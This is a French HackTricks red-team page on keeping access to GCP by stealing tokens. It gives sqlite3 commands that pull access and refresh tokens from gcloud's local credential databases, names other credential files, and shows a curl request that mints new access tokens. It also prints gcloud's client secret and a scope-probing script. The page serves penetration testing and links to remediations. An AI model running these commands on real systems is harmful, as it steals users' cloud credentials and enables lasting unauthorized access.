GCP - Persistance des tokens

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

Tokens d’utilisateurs authentifiĂ©s

Pour obtenir le token actuel d’un utilisateur, vous pouvez exĂ©cuter :

Obtenir l'access token depuis la base de données SQLite ```bash sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='';" ```

Consultez cette page pour voir comment utiliser directement ce token avec gcloud :

Cloud SSRF - HackTricks

Pour obtenir les détails pour générer un nouvel access token, exécutez :

Obtenir le refresh token depuis la base de données SQLite ```bash sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='';" ```

Il est aussi possible de trouver des refresh tokens dans $HOME/.config/gcloud/application_default_credentials.json et dans $HOME/.config/gcloud/legacy_credentials/*/adc.json.

Pour obtenir un nouvel access token rafraßchi avec le refresh token, le client ID et le client secret, exécutez :

Obtenir un nouvel access token en utilisant le refresh token ```bash curl -s --data client_id= --data client_secret= --data grant_type=refresh_token --data refresh_token= --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token ```

La validitĂ© des refresh tokens peut ĂȘtre gĂ©rĂ©e dans Admin > Security > Google Cloud session control, et par dĂ©faut elle est rĂ©glĂ©e sur 16h bien qu’elle puisse ĂȘtre configurĂ©e pour n’expirer jamais :

Flux d’authentification

Le flux d’authentification lors de l’utilisation de quelque chose comme gcloud auth login ouvrira une fenĂȘtre dans le navigateur et, aprĂšs avoir acceptĂ© tous les scopes, le navigateur enverra une requĂȘte comme celle-ci au port http ouvert par l’outil :

/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1

Ensuite, gcloud utilisera le state et le code avec un client_id codé en dur (32555940559.apps.googleusercontent.com) et client_secret (ZmssLNjJy2998hD4CTg2ejr2) pour obtenir les données finales du refresh token.

Caution

Notez que la communication avec localhost se fait en HTTP, il est donc possible d’intercepter les donnĂ©es pour obtenir un refresh token ; toutefois ces donnĂ©es ne sont valables qu’une seule fois, donc cela serait inutile — il est plus simple de lire le refresh token depuis le fichier.

Portées OAuth

Vous pouvez trouver toutes les portées Google sur [https://developers.google.com/identity/protocols/oauth2/scopes] ou les obtenir en exécutant:

Récupérer toutes les portées OAuth de Google ```bash curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u ```

Il est possible de voir quels scopes l’application que gcloud utilise pour s’authentifier peut supporter avec ce script :

Tester les scopes pris en charge par gcloud ```bash curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do echo -ne "Testing $scope \r" if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then echo "" echo $scope fi done ```

AprÚs exécution, il a été vérifié que cette application prend en charge ces scopes :

https://www.googleapis.com/auth/appengine.admin
https://www.googleapis.com/auth/bigquery
https://www.googleapis.com/auth/cloud-platform
https://www.googleapis.com/auth/compute
https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email

c’est intĂ©ressant de voir comment cette app prend en charge le drive scope, ce qui pourrait permettre Ă  un utilisateur d’escalader de GCP vers Workspace si un attaquant parvient Ă  forcer l’utilisateur Ă  gĂ©nĂ©rer un token avec ce scope.

Check how to abuse this here.

Comptes de service

Tout comme pour les utilisateurs authentifiĂ©s, si vous parvenez Ă  compromettre le fichier de clĂ© privĂ©e d’un compte de service vous pourrez y accĂ©der gĂ©nĂ©ralement aussi longtemps que vous le souhaitez.
Cependant, si vous volez le OAuth token d’un compte de service cela peut ĂȘtre encore plus intĂ©ressant, car, mĂȘme si par dĂ©faut ces tokens ne sont utiles qu’une heure, si la victime supprime la clĂ© API privĂ©e, le OAuth token restera valide jusqu’à son expiration.

Métadonnées

Évidemment, tant que vous ĂȘtes Ă  l’intĂ©rieur d’une machine exĂ©cutĂ©e dans l’environnement GCP vous pourrez accĂ©der au compte de service attachĂ© Ă  cette machine en contactant le metadata endpoint (notez que les OAuth tokens accessibles via cet endpoint sont gĂ©nĂ©ralement restreints par des scopes).

Remédiations

Certaines remédiations pour ces techniques sont expliquées dans https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2

Références

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks